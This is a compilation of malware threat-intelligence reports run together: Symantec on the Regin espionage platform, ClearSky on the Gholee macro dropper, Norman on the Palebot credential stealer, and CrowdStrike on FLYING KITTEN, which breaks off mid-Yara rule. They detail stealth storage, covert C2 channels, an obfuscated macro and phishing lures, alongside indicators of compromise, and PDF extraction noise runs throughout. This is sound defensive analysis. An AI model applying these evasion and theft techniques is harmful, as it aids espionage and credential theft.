INTRODUCTION Page 5 Regin: Top-tier espionage tool enables stealthy surveillance Introduction Regin is a multi-purpose data collection tool which dates back several years.
Symantec first began looking into this threat in the fall of 2013.
Multiple versions of Regin were found in the wild, targeting several corporations, institutions, academics, and individuals.
Regin has a wide range of standard capabilities, particularly around monitoring targets and stealing data.
It also has the ability to load custom features tailored to individual targets.
Some of Regins custom payloads point to a high level of specialist knowledge in particular sectors, such as telecoms infrastructure software, on the part of the developers.
Regin is capable of installing a large number of additional payloads, some highly customized for the targeted computer.
The threats standard capabilities include several remote access Trojan (RAT) features, such as capturing screenshots and taking control of the mouses point-and-click functions.
Regin is also configured to steal passwords, monitor network traffic, and gather information on processes and memory utilization.
It can also scan for deleted files on an infected computer and retrieve them.
More advanced payload modules designed with specific goals in mind were also found in our investigations.
For example, one module was designed to monitor network traffic to Microsoft Internet Information Services (IIS) web servers, another was designed to collect administration traffic for mobile telephony base station controllers, while another was created specifically for parsing mail from Exchange databases.
Regin goes to some lengths to hide the data it is stealing.
Valuable target data is often not written to disk.
In some cases, Symantec was only able to retrieve the threat samples but not the files containing stolen data.
Timeline Symantec is aware of two distinct versions of Regin.
Version 1.0 appears to have been used from at least 2008 to 2011.
Version 2.0 has been used from 2013 onwards, though it may have possibly been used earlier.
Version 1.0 appears to have been abruptly withdrawn from circulation in 2011.
Version 1.0 samples found after this date seem to have been improperly removed or were no longer accessible to the attackers for removal.
This report is based primarily on our analysis of Regin version 1.0.
We also touch on version 2.0, for which we only recovered 64-bit files.
Symantec has assigned these version identifiers as they are the only two versions that have been acquired.
Regin likely has more than two versions.
There may be versions prior to 1.0 and versions between 1.0 and 2.0.
Page 6 Regin: Top-tier espionage tool enables stealthy surveillance Target profile The Regin operators do not appear to focus on any specific industry sector.
Regin infections have been observed in a variety of organizations, including private companies, government entities, and research institutes.
Infections are also geographically diverse, having been identified mainly in 10 different regions.
Infection vector The infection vector varies among targets.
A reproducible infection vector is unconfirmed at time of writing.
Targets may be tricked into visiting spoofed versions of well- known websites and the threat may be installed through a web browser or by exploiting an application.
On one computer, log files show that Regin originated from Yahoo Instant Messenger through an unconfirmed exploit.
Figure 1.
Confirmed Regin infections by sector Figure 2.
Confirmed Regin infections by country The initial Stage 1 driver is the only plainly visible code on the computer.
All other stages are stored as encrypted data blobs...
ARCHITECTURE Page 8 Regin: Top-tier espionage tool enables stealthy surveillance Architecture Regin has a six-stage architecture.
The initial stages involve the installation and configuration of the threats internal services.
The later stages bring Regins main payloads into play.
This section presents a brief overview of the format and purpose of each stage.
The most interesting stages are the executables and data files stored in Stages 4 and 5.
The initial Stage 1 driver is the only plainly visible code on the computer.
All other stages are stored as encrypted data blobs, as a file or within a non-traditional file storage area such as the registry, extended attributes, or raw sectors at the end of disk.
Table 1.
The six stages of Regin Stages Components Stage 0 Dropper.
Installs Regin onto the target computer Stage 1 Loads driver Stage 2 Loads driver Stage 3 Loads compression, encryption, networking, and han- dling for an encrypted virtual file system (EVFS).
Stage 4 Utilizes the EVFS and loads additional kernel mode drivers, including payloads.
Stage 5 Main payloads and data files Figure 3.
Regins architecture Page 9 Regin: Top-tier espionage tool enables stealthy surveillance Stage 0 (dropper) Symantec Security Response has not obtained the Regin dropper at the time of writing.
Symantec believes that once the dropper is executed on the targets computer, it will install and execute Stage 1.
Its likely that Stage 0 is responsible for setting up various extended attributes and/or registry keys and values that hold encoded versions of stages 2, 3, and potentially stages 4 and onwards.
The dropper could be transient rather than acting as an executable file and may possibly be part of the infection vector exploit code.
Stage 1 Stage 1 is the initial load point for the threat.
There are two known Stage 1 file names: usbclass.sys (version 1.0) adpu160.sys (version 2.0) These are kernel drivers that load and execute Stage 2.
These kernel drivers may be registered as a system service or may have an associated registry key to load the driver while the computer is starting up.
Stage 1 simply reads and executes Stage 2 from a set of NTFS extended attributes.
If no extended attributes are found, Stage 2 is executed from a set of registry keys.
Stage 2 Stage 2 is a kernel driver that simply extracts, installs and runs Stage 3.
Stage 2 is not stored in the traditional file system, but is encrypted within an extended attribute or a registry key blob.
Stage 2 can be found encrypted in: Extended attribute Windir Windir\fonts Windir\cursors (possibly only in version 2.0) Registry subkey HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\4F20E605-9452-4787-B793- D0204917CA58 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\RestoreList\VideoBase (possibly only in version 2.0) This stage can also hide running instances of Stage 1.
Once this happens, there are no remaining plainly visible code artifacts.
Similar to previous stages, Stage 2 finds and loads an encrypted version of Stage 3 from either NTFS extended attributes or a registry key blob.
Stage 2 can also monitor the state of the threat.
This stage drops the file msrdc64.dat, which appears to always be 512 bytes in size.
The first two bytes are used and the remaining bytes are set to zero.
The second byte indicates the exclusive maximum number of instances allowed to run, which is set to two.
This means no more than one instance should run at any time.
The first byte indicates how many instances were run or attempted to run.
Therefore, the potential combinations for the first two bytes are: 00 02 (the threat is not running) 01 02 (the threat is running) 02 02 (the threat was running and a second instance has started).
Stage 3 Stage 3 is a kernel mode DLL and is not stored in the traditional file system.
Instead, this file is encrypted within an extended attribute or registry key blob.
Page 10 Regin: Top-tier espionage tool enables stealthy surveillance Stage 3 can be found in the following locations: Extended attribute Windir\system32 Windir\system32\drivers Registry subkey HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\4F20E605-9452-4787-B793- D0204917CA5A The file is six to seven times the size of the driver in Stage 2.
In addition to loading and executing Stage 4, Stage 3 offers a framework for the higher level stages.
Stages 3 and above are based on a modular framework of code modules.
These modules offer functions through a private, custom interface.
Each file in stages 3 and above can export functionality to other parts of Regin.
In the case of Stage 3, the following primitives are offered: The orchestrator, which parses custom records found in the appended data of the executable files for stages 3 and above.
These records contain a list of Regin functionalities to be executed.
A record starts with the number 0xD912FEAB (little-endian ordering) Compression and decompression routines Encryption and decryption routines Routines to retrieve storage locations of higher-level (Stage 4) components Routines to handle an encrypted virtual file system used by Stage 4 Network primitives These primitives are provided through a custom export methodology.
Export methodology The Stage 3 DLL exports a wide range of functionality through a custom export methodology.
The interface used to export functionality does not make use of the traditional Windows DLL export mechanism by name or ordinal.
Exported Regin methods are referenced by a tuple consisting of a major and minor number.
Stage 3 exports hundreds of methods, organized into 12 different major groups.
The numbers used vary across versions.
We acquired artifacts using two different numbering schemes.
Table 2 is an example listing.
With Regins modular nature, Stage 4 kernel modules and Stage 5 user modules (payloads) can provide functionality and export routines using the same major and minor numbering scheme.
Table 2.
An example of Regins methods organized into 12 groups Major Functionality 0001h Core 000Dh Compression, decompression 000Fh Encryption, decryption 003Dh EVFS handling 0007h Container management 000Bh Log management 0033h Loader 0011h Network 0013h Network C373h TCP command-and-control (CC) 0019h UDP CC 0009h CC Processor Page 11 Regin: Top-tier espionage tool enables stealthy surveillance Stage 4 The files for Stage 4, which are loaded by Stage 3, consist of a user-mode orchestrator and multiple kernel payload modules.
They are stored in two EVFS containers as files: System\config\SystemAudit.
Evt: Contains Stage 4 kernel drivers, which constitute the kernel mode part of Regins payload.
System\config\SecurityAudit.
Evt: Contains a user mode version of Stage 3.
The files are injected into services.exe.
When the attackers who operated Regin cleaned up compromised computers once they were finished with them, they often failed to remove Stage 4 and 5 artifacts from the system.
Stage 4 also uses the same export methodology described in Stage 3.
Stage 5 Stage 5 consists of the main Regin payload functionality.
The files for Stage 5 are injected into services.exe by Stage 4.
Stage 5 files are EVFS containers containing other files: System\config\SystemLog.evt: Contains Stage 5 user mode DLLs.
They constitute Regins payload.
System\config\SecurityLog.evt: Contains Stage 5 data files, used by the Stage 4 and 5 components to store various data items System\config\ApplicationLog.evt: Another Stage 5 log container, which is referenced by Stage 5 data files Windir\ime\imesc5\dicts\pintlgbp.imd (version 2.0) Windir\ime\imesc5\dicts\pintlgbs.imd (version 2.0) Regins payload involves the DLLs contained in the SystemLog.evt EVFS container.
The payload functionality differs depending on the targeted computer.
Custom payload files will likely be delivered for each specific environment.
Example payload functionality seen to date includes: Sniffing low-level network traffic Exfiltrating data through various channels (TCP, UDP, ICMP, HTTP) Gathering computer information Stealing passwords Gathering process and memory information Crawling through the file system Low level forensics capabilities (for example, retrieving files that were deleted) UI manipulation (remote mouse point  click activities, capturing screenshots, etc.)
Enumerating IIS web servers and stealing logs Sniffing GSM BSC administration network traffic Encrypted virtual file system containers Regin stores data files and payloads on disk in encrypted virtual file system files.
Such files are accessed by the major routines 3Dh.
Files stored inside EVFS containers are encrypted with a variant of RC5, using 64-bit blocks and 20 rounds.
The encryption mode is reverse cipher feedback (CFB).
Known extensions for EVFS containers are .evt and .imd.
The structure of a container is similar to the FAT file system.
One major difference is that files do not have a name instead, theyre identified using a binary tag.
The tag itself is the Figure 4.
Physical layout of an EVFS container Page 12 Regin: Top-tier espionage tool enables stealthy surveillance concatenation of a major number and a minor number.
The major number typically indicates the major function group that will handle the file.
A container starts with the header in Table 3 (little-endian ordering).
The header is followed by the file entry table (Table 4).
Each file entry is 13htaglen bytes long.
The sectors follow (Table 5).
A sector of sectsize bytes starts with a DWORD pointing to the next sector (if the file does not fit within a single sector), followed by sectsize-4 bytes of payload data.
As explained above, the files are encrypted.
Other layers of encryption and compression may also be in place, although those would be handled by higher level components.
Command-and-control operations Regins CC operations are extensive.
These backchannel operations are bidirectional, which means either the attackers can initiate communications with compromised computers on the border network or the compromised computers can initiate communications with the attacker.
Furthermore, compromised computers can serve as a proxy for other infections and command and control can also happen in a peer-to-peer fashion.
All communications are strongly encrypted and can happen in a two-stage fashion where the attacker may contact a compromised computer using one channel to instruct it to begin communications on a different channel.
Four transport protocols are available for CC: ICMP: Payload information can be encoded and embedded in lieu of legitimate ICMP/ping data.
The string shit is scattered in the packet for data validation.
In addition, CRC checks use the seed 31337.
UDP: Raw UDP payload TCP: Raw TCP payload HTTP: Payload information can be encoded and embedded within cookie data under the names SESSID, SMSWAP, TW, WINKER, TIMESET, LASTVISIT, AST.NET_SessionId, PHPSESSID, or phpAds_d.
This information can be combined with another cookie for validation under the names USERIDTK, UID, GRID, UIDPREFID, TM, __utma, LM, TMARK, VERSION, or CURRENT The CC operations are undertaken by various modules, including major groups C373h, 19h, 9, as well as Stage 5 payloads, such as C375h and 1Bh.
Logging Regin logs data to the ApplicationLog.dat file.
This file is not an encrypted container, but it is encrypted and compressed.
Table 4.
The containers file entry table Offset Type Description 00h DWORD CRC 04h DWORD File offset 08h DWORD Offset to first sector holding the file data 0Ch BYTE[taglen] File tag Table 5.
The containers sectors Offset Type Description 00h DWORD Next sector offset, or 0 04h BYTE[sectsize-4] Data Table 3.
The containers header Offset Type Description 00h WORD Sector size in bytes 02h WORD Maximum sector count 04h WORD Maximum file count 06h BYTE File tag length (taglen) 07h DWORD Header CRC 0Bh DWORD File table CRC 0Fh WORD Number of files 11h WORD Number of sectors in use 13h - Sector-use bitmap The extensible nature of Regin and its custom payloads indicate that many payloads are likely to exist in order to enhance Regins capabilities... PAYLOADS Page 14 Regin: Top-tier espionage tool enables stealthy surveillance Payloads Regin can be distributed with various payload modules or receive payload modules after infection.
The extensible nature of Regin and its custom payloads indicate that many additional payloads are likely to exist in order to enhance Regins capabilities.
Furthermore, we have found data files accompanying payload modules that have not been recovered.
The following table describes the Stage 4 kernel payload modules and Stage 5 user mode payload modules, which we have seen several variants of Regin use.
Table 6.
Regins stage 4 kernel payload modules and stage 5 user mode payload modules File type Major Description SYS 0003 Driver SYS C433 Rootkit SYS C42B PE loader SYS C42D DLL injection SYS C3C3 Network packet filter driver similar to the WinPCap (protocol filter version 3.5) Used to set TCP and UDP pass-through filters and to bypass firewalls.
Executes BPF (Berkeley Packet Filter) bytecode, stored in Stage 5 data files.
SYS 4E69 Network port blocker DLL C363 Network packet capture DLL 4E3B Retrieve proxy information for a web browser (Internet Explorer, Netscape, Firefox) through registry or configu- ration files (for example, prefs.js, refs.js, etc.)
Enumerate sessions and user accounts DLL 290B Password stealer Windows Explorer credentials Windows Explorer pstore records Internet Explorer LegacySettings Data for a Winlogon notification package named cryptpp DLL C375 CC HTTP/cookies DLL C383 SSL communications DLL C361 Supporting cryptography functions DLL 001B ICMP backchannel DLL C399 Record builder for ApplicationLog.
Evt DLL C39F Processes file: Temp\b3y7f.tmp DLL C3A1 Miscellaneous functions DLL 28A5 Miscellaneous functions DLL C3C1 Miscellaneous functions DLL C3B5 Gather system information CPUMemory Drives and shares Devices Windows information (including type, version, license info, owner info) Installed software Running processes (through HKEY_PERFORMANCE_DATA id 230) Services Schedules tasks and jobs Running desktop sessions User accounts information Systems auditing rules/policy System time and Windows install time Page 15 Regin: Top-tier espionage tool enables stealthy surveillance The IIS web server log stealing module, 27E9h, is an example of a payload module that was installed after the initial infection and was specifically deployed for a particular target.
64-bit version Only a small amount of the 64-bit Regin files have been recovered.
These samples may represent version 2.0 or their differences may possibly be solely specific to 64-bit versions of Regin.
We also recovered files from infected computers that may or may not be associated with 64-bit Regin, including several variants of svcsstat.exe, a file that aims to retrieve binary data over pipes or sockets and execute the data.
File names The recovered files do not appear to fundamentally vary from their 32-bit counterparts, apart from a few noteworthy differences.
The 32-bit and 64-bit versions of Regin use different file names.
These differences are shown in the first section of this paper as well as in the appendix.
Most importantly, in the 64-bit version of Regin, the names of containers are changed: PINTLGBP.IMD replaces SystemLog.
Evt PINTLGBPS.IMD replaces SecurityLog.
Evt Stage differences The 64-bit version of Regins Stage 1 (wshnetc.dll) is no longer a kernel mode driver, as drivers under 64-bit Windows must be signed.
Instead, Stage 1 is a user mode DLL loaded as a Winsock helper when the computer is starting up.
Rather than loading Stage 2 from an NTFS extended attribute, Stage 1 looks for the last partition (in terms of DLL C36B UI manipulation Capture screenshots Log keystrokes Lock the workstation/input Ctrl-Alt-Del Click functionality (through three commands: go, click  release, return to original position) End processes DLL C351 File system exploration primitives and forensic level exploration including a raw NTFS parser Get miscellaneous file information and properties Browse directories Read and write files Move and copy files Read and recover partially or fully deleted files Compute file hashes DLL 2B5D Process and module manipulation Read processes and modules Processes running times, quotas, privileges Skip Russian or English Microsoft files when scanning Check for newly introduced PE files in the last two days DLL C3CD Enumerate TCP/IP interfaces from System\CurrentControlSet\Services\Tcpip\Linkage\bind DLL C38F TCPDump utility DLL C3C5 Libnet binary DLL 27E9 IIS web server log theft Enumeration through COM objects to find IIS logs.
Ability to retrieve partial or complete log information.
Partial: Log type, last log, older log timestamps Complete: Entire log data is exfiltrated Page 16 Regin: Top-tier espionage tool enables stealthy surveillance physical location) on disk and searches for the payload in the raw sectors in this area of the disk.
The 64-bit Regins Stage 3 has not been recovered.
We believe that it may not exist, as the 32-bit version is a driver.
Stage 4 is an orchestrator just like its 32-bit counterpart and it uses the same major and minor values to export functionality.
Stage 5 uses the following filenames: Windir\IME\IMESC5\DICTS\PINTLGBP.IMD contains Stage 5 user payloads, replacing SystemLog.
Evt in the 32-bit version Windir\IME\IMESC5\DICTS\PINTLGBS.IMD contains Stage 5 data files, replacing SecurityLog.
Evt in the 32-bit version The equivalent files for SystemAudit.
Evt and SecurityAudit.
Evt were not recovered No Stage 5 payload modules have been recovered.
Conclusion Regin is a highly-complex threat which has been used for large-scale data collection or intelligence gathering campaigns.
The development and operation of this threat would have required a significant investment of time and resources.
Threats of this nature are rare and are only comparable to the Stuxnet/Duqu family of malware.
The discovery of Regin serves to highlight how significant investments continue to be made into the development of tools for use in intelligence gathering.
Many components of Regin have still gone undiscovered and additional functionality and versions may exist.
Protection Symantec and Norton products detect this threat as Backdoor.
Regin.
http://www.symantec.com/security_response/writeup.jsp?docid2013-121221-3645-99 APPENDIX Page 18 Regin: Top-tier espionage tool enables stealthy surveillance Appendix Data files Regins data files are classified as Stage 5 components and are contained in an EVFS container.
Table 7.
Data files used by Stage 4s framework DLL Major Minor Description 0001 - - 000D - - 000F 01 High-entropy blobs, cryptographic data 02 High-entropy blobs, cryptographic data 003D - - 0007 - - 000B 01 Contains a path to the log file.
Typically, System\config\ApplicationLog.
Evt 02 Small 8 byte files 0033 01 A single DWORD, such as 111Ch 03 A single DWORD, such as 1114h 0011 - - 0013 01 Unknown list of records 02 A single byte, such as 3 C373 01 BPF bytecode for the netpcap driverallows UDP passthrough 02 A WORD value, such as 1 0019 01 BPF bytecode for the netpcap driverallows TCP passthrough 02 A WORD value, such as 1 0009 00 A single DWORD, such as 11030B15h 01 Contains CC location information 02 CC routines to be executed: (C375, 1) param 08 02 (19, 1) param 44 57 58 00 (C373, 1) param 08 02 (1B, 1) param 20 00 03 Routines to be executed (4E69, 2) (19, 2) (1B, 2) (C373, 2)( C375, 2) (C383, 2)(C363, 2) 07 RC5 key used to decrypt command-and-control packets 09 Unknown data 0B Unknown data 12 A single byte, such as 1 17 Unknown data Page 19 Regin: Top-tier espionage tool enables stealthy surveillance As the data files are stored in a container, they do not have names.
Just like Stage 5 modules, they are referenced by their filetag, which is the aggregation of the major and minor identifiers.
The major identifier indicates which major routine group likely handles or creates the file.
Not all data files have been recovered, so the information remains incomplete.
Data files associated with Stage 4 kernel modules have not been recovered Table 8 lists recovered data files used by Stage 5 modules.
The associated modules that supposedly manipulate those data files were not recovered.
Table 8.
Data files used by Stage 5s modules (payloads) Major Minor Description C363 02 6 bytes (01 00 00 00 00 00) 4E3B - 290B - C375 01 Dword (1) 02 Dword (0) C383 01 Dword (1) 02 Dword (0) 10 64 bytes (512 bits)Diffie Hellman, p (prime) 11 Byte (2)Diffie Hellman, g (generator) C361 10 File containing timestamps and high entropy dataUnclear 11 Dword (E10h) 12 Dword (2) 001B - C399 - C39F 00 Small file, 18h bytes, low entropy 01 Unencrypted unicode path, Temp\B3Y7F.tmp C3A1 01 Small file, 6 bytes (08 01 00 00 00 01) 28A5 02 Small file, 18h bytes, unknown C3C1 - - C3B5 - - C36B - - C351 - - 2B5D - - C3CD - - C38F - - C3C5 - - 27E9 - - Table 9.
Orphaned data files Major Minor Description 4E25 00 Byte (1) 01 Byte (2) 28A4 00 Unknown 02 Small file, 8 bytes (01 00 00 00 00 00 00 00) DEAB 01 Small file, 8 bytes (00 00 01 01 04 00 00 00) Page 20 Regin: Top-tier espionage tool enables stealthy surveillance Indicators of compromise The following details can be used to help determine whether you have been impacted by this threat.
File MD5s 2c8b9d2885543d7ade3cae98225e263b 4b6b86c7fec1c574706cecedf44abded 187044596bc1328efa0ed636d8aa4a5c 06665b96e293b23acc80451abb413e50 d240f06e98c8d3e647cbf4d442d79475 6662c390b2bbbd291ec7987388fc75d7 ffb0b9b5b610191051a7bdf0806e1e47 b29ca4f22ae7b7b25f79c1d4a421139d 1c024e599ac055312a4ab75b3950040a ba7bb65634ce1e30c1e5415be3d1db1d b505d65721bb2453d5039a389113b566 b269894f434657db2b15949641a67532 bfbe8c3ee78750c3a520480700e440f8 File names/paths usbclass.sys adpu160.sys msrdc64.dat msdcsvc.dat System\config\SystemAudit.
Evt System\config\SecurityAudit.
Evt System\config\SystemLog.evt System\config\ApplicationLog.evt Windir\ime\imesc5\dicts\pintlgbs.imd Windir\ime\imesc5\dicts\pintlgbp.imd Windir\system32\winhttpc.dll Windir\system32\wshnetc.dll Windir\SysWow64\wshnetc.dll Windir\system32\svcstat.exe Page 21 Regin: Top-tier espionage tool enables stealthy surveillance Windir\system32\svcsstat.exe Extended attributes Windir Windir\cursors Windir\fonts Windir\System32 Windir\System32\drivers Registry HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\4F20E605-9452-4787-B793- D0204917CA58 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\RestoreList\VideoBase HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\4F20E605-9452-4787-B793- D0204917CA5A About Symantec Symantec Corporation (NASDAQ: SYMC) is an information protection expert that helps people, businesses and governments seeking the freedom to unlock the opportunities technology brings -- anytime, anywhere.
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http://www.symantec.com go.symantec.com/social/ OVERVIEW Introduction Timeline Target profile Infection vector Architecture Stage 0 (dropper) Stage 1 Stage 2 Stage 3 Stage 4 Stage 5 Encrypted virtual file system containers Command-and-control operations Logging Payloads 64-bit version File names Stage differences Conclusion Protection Appendix Data files Indicators of compromise File MD5s File names/paths Extended attributes Registry
Introduction During the 2014 IsraelGaza conict, dubbed by Israel as operation protective edge, a raise in cyber-attacks against Israeli targets was reported.
In this report we analyze one case of an operation protective edge themed spear phishing attack.
That email contained a malicious excel le, which once opened and its VBA code executed, would infect the victims computer.
As for the publication of this report, the le is recognized as malicious by only one antivirus engine.
Based on our analysis, we believe the threat actor behind this malware is a high level professional.
Gholee Our investigation of the Gholee malware started following a detection of a suspicious le that was sent in an email to an undisclosed recipient.
The le name was Operation Protective Edge.xlsb (MD5: d0c3f4c9896d41a7c42737134ffb4c2e).
The le was uploaded to Virus Total the rst time on 10 August 2014, from Israel.
At that time it was not detected as malicious by any of the 52 tested antivirus engines.
Nine days later, it was http://www.clearskysec.com/gholee-a-protective-... 1 of 8 03/22/2015 07:49 PM uploaded again to Virus total, again from Israel.
This time it was detected as malicious only by Kaspersky, as Trojan- Dropper.MSExcel.
Agent.ce.
Infection Upon opening the le a message is displayed, saying: Due to security considerations I consciously hid the Informations.
It will be visible for you by enabling content above.
[
1] This is a social engineering tactic meant to lure the victim into enabling Macro content.
If enabled, the message disappears, and the following information is presented to the victim (it is possible that the unreadable characters in the screenshot below are the result of an encoding error in our lab environment, and that the victim would see different, readable content).
Technical Analysis Analysis of the Macro code reveals the following structure: In order to avoid detection by protection measures such as computer antivirus and intrusion detection systems, ASCII http://www.clearskysec.com/gholee-a-protective-... 2 of 8 03/22/2015 07:49 PM characters codes are used instead of actual characters.
The ASCII codes are converted to strings as they are concatenated into a single variable within a function Tens of these functions then concatenated, creating a single PE le [2] [3] Finally, the le is saved to NTUSER.data.GUIDE.dll (MD5: 48573a150562c57742230583456b4c02) and the function ShellExecte  is used to run it under cmd.exe /C and Rundll32  This is in order to hide the process.
The Dll le is obfuscated and includes various mechanism to hide from Debuggers such as Ollydbg and IDA and from Sandbox software such as Cuckoo and Anubis.
Analyzing the le, we have found an interesting entry point called gholee.
http://www.clearskysec.com/gholee-a-protective-... 3 of 8 03/22/2015 07:49 PM [4] [5] A quick Facebook search for that name and Iran discovered Gholee is a popular Iranian singer: [6] Communication When run, the DLL le is communicating with a Kuwait based IP address: 83.170.33.60, owned by German company iABG Mbh, which provides satellite communication services.
http://www.clearskysec.com/gholee-a-protective-... 4 of 8 03/22/2015 07:49 PM [7] The malware opens an SSL connection over port 443 using a digital certicate that expired in 2010.
The certicate was issued for security company Core Security, the creators of the offensive suite Core Impact, for the address coreimpactagent.net.
[
8] [9] It was issued by Thawte certicate authority.
[
10] http://www.clearskysec.com/gholee-a-protective-... 5 of 8 03/22/2015 07:49 PM [11] Certicate Fingerprint MD5: 9C 80 C2 47 40 6D 6C ED FC E0 08 AE EF D9 98 90 Using a proxy and SSL stripping, the following communication pattern over HTTP can be seen: GET                        /index.php?cUd7atknqr17117d        HTTP/1.1 POST                     /index.php?cUd7atknqr1710b2        HTTP/1.1 Related incidents Searching for specic strings from the malicious le, we found another le that we believe is related to this campaign.
The le name is svchost 67.exe (MD5: 916be1b609ed3dc80e5039a1d8102e82 ) and it was uploaded to Virus Total[5] on 2 June 2014, more than two months earlier than Operation Protective Edge.xlsb.
It was uploaded twice from Latvia  potentially to test the malwares detection rate.
svchost 67.exe communicated with 83.170.33.37, which is on the same /26 netblock as the address Operation Protective Edge.xlsb http://www.clearskysec.com/gholee-a-protective-... 6 of 8 03/22/2015 07:49 PM is commutating with.
Detection and prevention By using GPO to disable macro code from running, infection by this malware may be avoided.
Alternatively, les containing macro code should be blocked at the email gateway or by an anti-spam solution.
Logs and proxy servers should be checked for communication with the IP addresses with which the malware communicates: 83.170.33.60 83.170.33.37 If you think you got infected, check in the system root folder for a le called NTUSER.DAT.GUID.dll .
for example: NTUSER.DAT016888bd-6c6f-11de-8d1d-001e0bc.dll The following Yara rule may be used to detect the gholee malware: rule gholee meta: author  www.clearskysec.com date  2014/08 http://www.clearskysec.com/gholee-a-protective-... 7 of 8 03/22/2015 07:49 PM http://www.clearskysec.com/wp-content/uploads/2014/09/2.png1.
http://www.clearskysec.com/wp-content/uploads/2014/09/5.png2.
http://www.clearskysec.com/wp-content/uploads/2014/09/5.png3.
http://www.clearskysec.com/wp-content/uploads/2014/09/6.png4.
http://www.clearskysec.com/wp-content/uploads/2014/09/6.png5.
http://www.clearskysec.com/wp-content/uploads/2014/09/1.png6.
http://www.clearskysec.com/wp-content/uploads/2014/09/7.png7.
http://www.clearskysec.com/wp-content/uploads/2014/09/8.png8.
http://www.clearskysec.com/wp-content/uploads/2014/09/8.png9.
http://www.clearskysec.com/wp-content/uploads/2014/09/9.png10.
http://www.clearskysec.com/wp-content/uploads/2014/09/9.png11.
maltype  Remote Access Trojan letype  dll strings: a  sandbox_avg10_vc9_SP1_2011 b  gholee condition: all of them http://www.clearskysec.com/gholee-a-protective-... 8 of 8 03/22/2015 07:49 PM
Palebot trojan harvests Palestinian online credentials December 8, 2011 by Snorre Fagerland - I sometimes sample the stream of files that come from VirusTotal, so as not to lose touch with what malware is actually floating around.
Of special interest are the files where few or only we have detection, because there is a higher probability that such files are false positives that need to be removed.
However, yesterday I found an interesting file.
Firts of all, it was relatively clear that it was no false positive, since sandbox and live systems confirmed that it installed using the file name svcshost.exe.
It was obviously mimicking the legitimate program svchost.exe, which is a pretty telling hint.
Looking at the file revealed out-of-the ordinary traits.
It was over 750k in size, and this is somewhat unusual for trojans.
It was not packed or obfuscated, so by just looking at the file image some strings jumped out: The lowermost of these URLs appears to be a webmail front for the Palestinian National Authority.
The list shown is used as input to a function that has as purpose to grab user credentials from IntelliForms.
IntelliForms is the name for the autocomplete function that exists in Internet Explorer.
The full list of targeted sites is: https://login.live.com/ http://facebook.com/ http://www.facebook.com/ http://hotmail.com/ http://gmail.com/ http://mail.google.com/ https://portal.iugaza.edu.ps/ https://web.archive.org/web/20130308090454/http://blogs.norman.com/author/snorre_fagerland https://web.archive.org/web/20130308090454/http://blogs.norman.com/wp-content/uploads/2011/12/palbot.png https://www.google.com/ https://www.google.com/accounts/ http://www.fatehforums.com/ http://portal.iugaza.edu.ps/ https://login.yahoo.com/config/login https://login.yahoo.com/ https://www.google.com/accounts/service https://my.screenname.aol.com/_cqr/login.psp http://myaccount.jawwal.ps/ http://www.myspace.com http://paypal.com http://moneybookers.com http://mail.mtit.pna.ps/src/login.php Digging further into the origin of this file, I find that it is dropped by a WinRAR SFX installer which also extracts and shows the document below (excerpt): The full text seems to be taken from an article in the Palestinian newspaper Al-Sabah (Google translated): www.alsbah.net.
The document, aylol.doc, contains very little metadata, so we are not talking about complete newbies in https://web.archive.org/web/20130308090454/http://blogs.norman.com/wp-content/uploads/2011/12/alsabah.png https://web.archive.org/web/20130308090454/http://translate.google.no/translate?hlnoslartlenuhttp3A2F2Fwww.alsbah.net2Fnew12Fmodules.php3Fname3DNews26file3Dprint26sid3D5946 the targeted attack business.
There are apparently at least two versions of this trojan around.
Norman Sandbox technology detected these proactively as W32/Malware, but they will be renamed to Palebot.
Aapt and Bapt.
The trojan is still in analysis, and further details may be published later.
MD5s of samples: 7f3b74c9274f501bf0d9ded414b62f80 25f758425fcea95ea07488e13f07e005 1954622c1fe142200ad06eec12291fcd (RAR SFX).
Cat Scratch Fever: CrowdStrike Tracks Newly Reported Iranian Actor as FLYING KITTEN Today, our friends at FireEye released a report on an Iran-based adversary they are calling Saffron Rose.
CrowdStrike Intelligence has also been tracking and reporting internally on this threat group since mid- January 2014 under the name FLYING KITTEN, and since that time has seen targeting of multiple U.S.- based defense contractors as well as political dissidents.
Flying Kitten Targeted Intrusion FireEyes report notes that this adversarys targeted intrusion activity consists of credential theft and malware delivery individually.
The FLYING KITTEN campaigns investigated by CrowdStrike Intelligence showed that the actor actually combines the two.
For example, the adversary will register a domain that spoofs the name of the targeted organization and then host a spoofed login page on that site.
The page is used to steal legitimate credentials, but once users enter the credentials, they are often redirected to a new page that prompts them to download a Browser Patch or other similar type of file.
The downloaded file is actually the Stealer malware that exfiltrates stolen data to an FTP server.
http://www.fireeye.com/resources/pdfs/fireeye-operation-saffron-rose.pdf In addition to the aerospace/defense and dissident targeting, it also appears that FLYING KITTEN is also engaged in broader targeting via the website parmanpower[.
]com.
This website is registered via the same registrant email (info[]usa.gov.us) and other Whois information as some of the other domains related to the activity discussed above.
It purports to be the website of a business engaged in recruiting, training, and development in Erbil, Iraq.
No malicious activity has been linked to this domain, however, the fact that it was registered under the same registrant email at the same time as other FLYING KITTEN domains linked to malicious activity, it is likely that the adversary is using this site for malicious purposes as well.
The website does not appear to deliver any malware, so its most likely purpose is to act as a credential-collection mechanism much like the spoofed Institute of Electrical and Electronics Engineers (IEEE) Aerospace Conference website (aeroconf2014[.
]org) the adversary used earlier this year.
This spoofed recruiting company website could be used to target entities across a wide range of sectors.
Attribution Attribution in this case is interesting, as the adversary appears to have made a mistake when registering its malicious domains.
The registrant email that currently appears in the Whois records of some of the FLYING KITTEN domains is info[]usa.gov.us, however historical records show that the domains were originally registered under the email address keyvan.ajaxtm[]gmail.com.
As FireEyes report notes, the keyvan.ajaxtmgmail.com email address ties back to an Iran-based entity called Ajax Security Team.
Earlier this year, Ajax Security had an easily identifiable presence on the Internet with its own website and related Facebook pages.
This Internet presence has decreased significantly since early 2014, likely due to a desire to keep a lower profile now that the group is engaged in targeted intrusion activity.
The following Yara rules will provide detection for the adversary remote access toolkit and exfiltration tool: rule CrowdStrike_FlyingKitten : rat  meta: copyright  CrowdStrike, Inc description  Flying Kitten RAT version  1.0 actor  FLYING KITTEN in_the_wild  true strings: classpath  Stealer.
Properties.
